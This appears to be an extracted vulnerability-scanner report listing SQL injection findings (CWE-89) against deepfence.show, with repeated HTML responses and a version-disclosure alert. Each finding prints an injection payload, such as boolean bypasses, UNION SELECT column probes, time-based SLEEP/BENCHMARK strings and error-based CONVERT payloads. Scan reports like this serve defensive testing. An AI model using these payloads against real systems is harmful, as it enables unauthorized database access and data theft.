z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1196
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# " or ""^"
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1197
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# " or benchmark(10000000,MD5(1))
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1198Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1199
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1200
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1201
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1202
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1' ORDER BY 1,2--+
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1203
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1204
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# -- or #
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1205
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+
CHAR(88)+CHAR(88)+CHAR(88)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1206
Scan SQL InjectionSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# OR 1=0
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1207
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)
+CHAR(88)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1208
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10-
-
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1209
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin'/*ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1210
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# OR 1=1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1211Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
